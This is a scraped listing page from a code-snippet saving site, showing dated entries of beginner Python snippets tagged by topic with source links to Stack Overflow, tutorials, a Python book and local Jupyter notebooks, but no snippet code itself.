Wed Aug 12 2020 22:05:29 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/47815140/check-if-multiple-columns-exist-in-a-df

#python
star

Wed Aug 12 2020 03:09:20 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/12595051/check-if-string-matches-pattern

#regex #python #match
star

Sun Aug 09 2020 11:54:19 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/28888730/pandas-change-day

#python
star

Sun Aug 09 2020 09:38:23 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/28694025/converting-a-datetime-column-back-to-a-string-columns-pandas-python

#python
star

Thu Aug 06 2020 08:57:00 GMT+0000 (Coordinated Universal Time)

#python #pandas #data-cleaning
star

Wed Jul 29 2020 19:19:59 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/18713321/element-wise-addition-of-2-lists

#python
star

Fri Jul 24 2020 12:56:27 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=f9788605-6766-49b1-b966-4c7c269f2288&pd_rd_w=oV6YQ&pd_rd_wg=kSzf5&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=BBJNQXYRE82X8S5GDD2W&psc=1&refRID=BBJNQXYRE82X8S5GDD2W

#python
star

Tue Jul 21 2020 20:47:49 GMT+0000 (Coordinated Universal Time) http://localhost:8888/notebooks/Desktop/for Jupyter/HW3/Exercise 3.ipynb

#python
star

Tue Jul 21 2020 19:59:28 GMT+0000 (Coordinated Universal Time) http://localhost:8888/notebooks/Desktop/for Jupyter/Lesson3.ipynb

#python
star

Tue Jul 21 2020 19:28:03 GMT+0000 (Coordinated Universal Time) http://localhost:8888/notebooks/Desktop/for Jupyter/HW check/Exercise 2b.ipynb

#python
star

Thu Jul 09 2020 13:14:43 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/59746080/count-max-consecutive-re-groups-in-a-string

#python
star

Tue Jun 30 2020 22:39:10 GMT+0000 (Coordinated Universal Time)

#python #command
star

Mon Jun 29 2020 13:16:13 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python
star

Mon Jun 22 2020 13:35:43 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/1425493/convert-hex-to-binary

#python
star

Sun Jun 21 2020 20:14:12 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/62498842/custom-loss-in-keras-slow-at-compiling-and-fit

#python
star

Thu Jun 11 2020 12:57:24 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=ef9c42e9-dfb9-4aa7-bd28-d4ef80f17296&pd_rd_w=aAQyc&pd_rd_wg=p8R5U&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=Y77J2N1H3EECZQ618R8B&psc=1&refRID=Y77J2N1H3EECZQ618R8B

#python
star

Mon Jun 08 2020 12:40:22 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=ef9c42e9-dfb9-4aa7-bd28-d4ef80f17296&pd_rd_w=aAQyc&pd_rd_wg=p8R5U&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=Y77J2N1H3EECZQ618R8B&psc=1&refRID=Y77J2N1H3EECZQ618R8B

#python
star

Mon Jun 08 2020 12:33:50 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=ef9c42e9-dfb9-4aa7-bd28-d4ef80f17296&pd_rd_w=aAQyc&pd_rd_wg=p8R5U&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=Y77J2N1H3EECZQ618R8B&psc=1&refRID=Y77J2N1H3EECZQ618R8B

#python
star

Sun Jun 07 2020 12:58:31 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=2c1aff3f-60bb-490b-a2d0-dfc06d81970a&pd_rd_w=t9wy6&pd_rd_wg=Bmxlp&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=RTCDC9M99JAV7NJ30VVE&psc=1&refRID=RTCDC9M99JAV7NJ30VVE

#python
star

Sun Jun 07 2020 07:02:48 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=2c1aff3f-60bb-490b-a2d0-dfc06d81970a&pd_rd_w=t9wy6&pd_rd_wg=Bmxlp&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=RTCDC9M99JAV7NJ30VVE&psc=1&refRID=RTCDC9M99JAV7NJ30VVE

#python
star

Sun Jun 07 2020 06:07:28 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=2c1aff3f-60bb-490b-a2d0-dfc06d81970a&pd_rd_w=t9wy6&pd_rd_wg=Bmxlp&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=RTCDC9M99JAV7NJ30VVE&psc=1&refRID=RTCDC9M99JAV7NJ30VVE

#python
star

Sun Jun 07 2020 05:51:39 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=2c1aff3f-60bb-490b-a2d0-dfc06d81970a&pd_rd_w=t9wy6&pd_rd_wg=Bmxlp&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=RTCDC9M99JAV7NJ30VVE&psc=1&refRID=RTCDC9M99JAV7NJ30VVE

#python
star

Sun Jun 07 2020 05:42:45 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=2c1aff3f-60bb-490b-a2d0-dfc06d81970a&pd_rd_w=t9wy6&pd_rd_wg=Bmxlp&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=RTCDC9M99JAV7NJ30VVE&psc=1&refRID=RTCDC9M99JAV7NJ30VVE

#python
star

Sun Jun 07 2020 02:45:42 GMT+0000 (Coordinated Universal Time)

#python
star

Fri Jun 05 2020 13:23:14 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python
star

Fri Jun 05 2020 12:49:02 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python
star

Fri Jun 05 2020 12:44:51 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python
star

Fri Jun 05 2020 12:41:10 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python
star

Fri May 29 2020 11:34:17 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/62084501/how-to-save-multiple-plots-as-seperate-png-files-with-names-in-python

#python
star

Fri May 29 2020 11:32:47 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/62084831/merge-a-single-list-of-dictionaries-with-the-same-key-value

#python
star

Fri May 29 2020 11:31:25 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/62084911/how-to-replace-values-of-each-cell-on-a-dataframe-without-looping-it

#python
star

Thu May 28 2020 21:57:47 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/11923317/creating-django-forms

#python
star

Wed May 27 2020 17:25:40 GMT+0000 (Coordinated Universal Time) https://cmdlinetips.com/2018/01/how-to-read-entire-text-file-in-python/

#python
star

Wed May 27 2020 15:04:56 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/17351016/set-up-python-simplehttpserver-on-windows

#python
star

Tue May 26 2020 16:35:55 GMT+0000 (Coordinated Universal Time)

#python
star

Mon May 25 2020 09:24:31 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/441147/how-to-subtract-a-day-from-a-date

#python
star

Fri May 15 2020 09:11:04 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/53460391/passing-a-date-as-a-url-parameter-to-a-flask-route

#python
star

Fri May 15 2020 06:32:03 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/1060279/iterating-through-a-range-of-dates-in-python

#python
star

Tue May 12 2020 22:59:54 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/50486643/get-path-of-parent-keys-and-indices-in-dictionary-of-nested-dictionaries-and-l

#python
star

Mon May 11 2020 22:20:25 GMT+0000 (Coordinated Universal Time) https://scikit-learn.org/stable/modules/generated/sklearn.metrics.f1_score.html

#python
star

Mon May 11 2020 13:44:16 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/15501673/how-to-temporarily-disable-a-foreign-key-constraint-in-mysql

#django #python
star

Thu May 07 2020 16:15:18 GMT+0000 (Coordinated Universal Time) https://www.analyticsvidhya.com/blog/2020/04/how-to-read-common-file-formats-python/

#python
star

Tue Apr 21 2020 12:00:59 GMT+0000 (Coordinated Universal Time)

#python #python #else #elif #clauses
star

Tue Apr 21 2020 11:45:29 GMT+0000 (Coordinated Universal Time) https://towardsdatascience.com/30-helpful-python-snippets-that-you-can-learn-in-30-seconds-or-less-69bb49204172

#python #python #lists #dictionary
star

Tue Apr 21 2020 11:15:59 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python #python #condition #ifstatement #elifstatement #elsestatement
star

Tue Apr 21 2020 10:34:57 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python #python #ifstatement #comparisonoperators
star

Tue Apr 21 2020 06:41:13 GMT+0000 (Coordinated Universal Time) https://docs.python.org/3/tutorial/controlflow.html

#python #python #ifstatement #elifstatement #elsestatement #comparisonoperators
star

Tue Apr 21 2020 06:34:03 GMT+0000 (Coordinated Universal Time) https://learnandlearn.com/python-programming/python-reference/python-remove-list-all-items-clear-function-with-examples

#python #python #lists #clear #remove
star

Tue Apr 21 2020 06:29:54 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/python-programming/methods/list/append

#python #python #lists #add
star

Tue Apr 21 2020 06:18:35 GMT+0000 (Coordinated Universal Time) .https://www.youtube.com/watch?v=rfscVS0vtbw&t=5s

#python #python #lists
star

Tue Apr 21 2020 06:12:11 GMT+0000 (Coordinated Universal Time) https://beginnersbook.com/2018/01/python-while-loop/

#python #python #loop #whileloop #nestedwhile loop
star

Tue Apr 21 2020 05:48:50 GMT+0000 (Coordinated Universal Time)

#python #python #loops #forloop #forelse
star

Tue Apr 21 2020 05:36:09 GMT+0000 (Coordinated Universal Time) https://www.freecodecamp.org/news/python-example/

#python #python #loops #whileloop
star

Tue Apr 21 2020 05:22:45 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/5844672/delete-an-element-from-a-dictionary

#python #python #dictionary #del
star

Tue Apr 21 2020 05:10:22 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python #python #dictionary
star

Mon Apr 20 2020 13:58:55 GMT+0000 (Coordinated Universal Time) https://towardsdatascience.com/30-helpful-python-snippets-that-you-can-learn-in-30-seconds-or-less-69bb49204172

#python #python #strings
star

Mon Apr 20 2020 13:45:46 GMT+0000 (Coordinated Universal Time) https://towardsdatascience.com/30-helpful-python-snippets-that-you-can-learn-in-30-seconds-or-less-69bb49204172

#python #python #function #bytesize #return
star

Mon Apr 20 2020 13:38:08 GMT+0000 (Coordinated Universal Time) https://www.30secondsofcode.org/python/s/compose/

#python #python #function #composition
star

Mon Apr 20 2020 13:32:07 GMT+0000 (Coordinated Universal Time) https://www.youtube.com/watch?v=rfscVS0vtbw&t=5s

#python #python #function #return
star

Mon Apr 20 2020 13:17:59 GMT+0000 (Coordinated Universal Time) https://www.youtube.com/watch?v=rfscVS0vtbw&t=5s

#python #function #python #def
star

Tue Mar 31 2020 11:54:39 GMT+0000 (Coordinated Universal Time) ttps://www.programiz.com/python-programming/while-loop

#python #pyhton #loops #whileloop
star

Tue Mar 31 2020 11:40:31 GMT+0000 (Coordinated Universal Time) https://towardsdatascience.com/30-helpful-python-snippets-that-you-can-learn-in-30-seconds-or-less-69bb49204172

#python #python #function #return #allunique
star

Tue Mar 31 2020 11:35:03 GMT+0000 (Coordinated Universal Time) https://towardsdatascience.com/30-helpful-python-snippets-that-you-can-learn-in-30-seconds-or-less-69bb49204172

#python #python #strings #vowels #function
star

Tue Mar 31 2020 11:27:37 GMT+0000 (Coordinated Universal Time)

#python #python #printfunction #strings
star

Tue Mar 31 2020 06:23:25 GMT+0000 (Coordinated Universal Time) https://towardsdatascience.com/30-helpful-python-snippets-that-you-can-learn-in-30-seconds-or-less-69bb49204172

#python #python #len #bytesize #strings
star

Tue Mar 31 2020 05:43:21 GMT+0000 (Coordinated Universal Time) https://www.youtube.com/watch?v=rfscVS0vtbw&t=5s

#python #function #returnfunction
star

Tue Mar 31 2020 05:32:45 GMT+0000 (Coordinated Universal Time)

#python #python #dictionary #mergedictionary #dict
star

Tue Mar 31 2020 05:29:39 GMT+0000 (Coordinated Universal Time)

#python #python #loops #forloop #nestedfor loop
star

Tue Mar 31 2020 05:21:34 GMT+0000 (Coordinated Universal Time) https://www.programiz.com/python-programming/methods/list/remove

#python #python #remove #lists
star

Tue Mar 31 2020 05:18:11 GMT+0000 (Coordinated Universal Time)

#python #python #extendfunction
star

Mon Mar 30 2020 12:23:56 GMT+0000 (Coordinated Universal Time) https://www.tutorialspoint.com/python/nested_if_statements_in_python.htm

#python #python #ifstatement #nestedif statement
star

Mon Mar 30 2020 12:18:27 GMT+0000 (Coordinated Universal Time) https://www.30secondsofcode.org/python/s/unfold/

#python #python #iterator #functions
star

Mon Mar 30 2020 12:10:17 GMT+0000 (Coordinated Universal Time) https://www.youtube.com/watch?v=rfscVS0vtbw&t=5s

#python #python #dictionary #keys
star

Mon Mar 30 2020 12:04:52 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python #python #ifstatement #elifstatement #elsestatement #comparisonoperators
star

Mon Mar 30 2020 10:16:54 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python ##python #strings #comments
star

Mon Mar 30 2020 07:50:40 GMT+0000 (Coordinated Universal Time) 1. https://www.youtube.com/watch?v=rfscVS0vtbw&t=5s.

#python ##python ##pythonlists
star

Mon Mar 23 2020 07:13:49 GMT+0000 (Coordinated Universal Time) https://www.30secondsofcode.org/python/s/max-by/

#python #python #math #list
star

Fri Feb 21 2020 22:36:19 GMT+0000 (Coordinated Universal Time)

#python
star

Fri Feb 21 2020 18:02:15 GMT+0000 (Coordinated Universal Time)

#python #commandline
star

Sun Feb 16 2020 18:21:25 GMT+0000 (Coordinated Universal Time)

#python
star

Thu Feb 06 2020 19:00:00 GMT+0000 (Coordinated Universal Time)

#python #numbers
star

Wed Jan 22 2020 18:52:28 GMT+0000 (Coordinated Universal Time) https://docs.python.org/3/library/datetime.html#datetime.datetime.strptime

#python #dates #functions #python3.8
star

Sat Jan 11 2020 20:54:48 GMT+0000 (Coordinated Universal Time) https://www.30secondsofcode.org/python/s/when/

#python #function
star

Fri Jan 10 2020 19:00:00 GMT+0000 (Coordinated Universal Time) https://www.30secondsofcode.org/python/s/unfold/

#python #lists #function
star

Thu Jan 09 2020 19:00:00 GMT+0000 (Coordinated Universal Time) https://www.30secondsofcode.org/python/s/compose/

#python #function
star

Thu Jan 02 2020 19:00:00 GMT+0000 (Coordinated Universal Time) https://en.wikipedia.org/wiki/PageRank

#javascript #python #search #historicalcode #google #algorithms
star

Thu Jan 02 2020 19:00:00 GMT+0000 (Coordinated Universal Time) https://docs.python.org/3.4/library/html.parser.html

#html #python #xhtml
star

Wed Jan 01 2020 19:00:00 GMT+0000 (Coordinated Universal Time) https://www.python-course.eu/towers_of_hanoi.php

#python #puzzles #interesting
star

Wed Jan 01 2020 19:00:00 GMT+0000 (Coordinated Universal Time) http://code.activestate.com/recipes/578140-super-simple-sudoku-solver-in-python-source-code/

#python #puzzles
star

Sun Dec 29 2019 19:13:40 GMT+0000 (Coordinated Universal Time) http://norvig.com/spell-correct.html

#python #interesting #logic
star

Thu Dec 26 2019 18:45:53 GMT+0000 (Coordinated Universal Time) https://leetcode.com/problems/letter-combinations-of-a-phone-number/

#python #interviewquestions #interesting
star

Thu Dec 26 2019 15:35:22 GMT+0000 (Coordinated Universal Time) https://www.geeksforgeeks.org/sort-an-array-without-changing-position-of-negative-numbers/

#python #interesting #arrays #sorting #interviewquestions
star

https://stackoverflow.com/questions/1602934/check-if-a-given-key-already-exists-in-a-dictionary

#python
star

https://stackoverflow.com/questions/1602934/check-if-a-given-key-already-exists-in-a-dictionary

#python
star

https://stackoverflow.com/questions/53513/how-do-i-check-if-a-list-is-empty

#python
star

https://stackoverflow.com/questions/3437059/does-python-have-a-string-contains-substring-method

#python
star

https://stackoverflow.com/questions/415511/how-to-get-the-current-time-in-python

#python
star

https://stackoverflow.com/questions/273192/how-can-i-safely-create-a-nested-directory-in-python

#python
star

https://stackoverflow.com/questions/522563/accessing-the-index-in-for-loops

#python
star

https://stackoverflow.com/questions/3277503/how-to-read-a-file-line-by-line-into-a-list

#python
star

https://stackoverflow.com/questions/379906/how-do-i-parse-a-string-to-a-float-or-int-in-python

#python
star

https://stackoverflow.com/questions/3207219/how-do-i-list-all-files-of-a-directory

#python
star

https://stackoverflow.com/questions/510348/how-can-i-make-a-time-delay-in-python

#python

Save snippets that work with our extensions

Available in the Chrome Web Store Get Firefox Add-on Get VS Code extension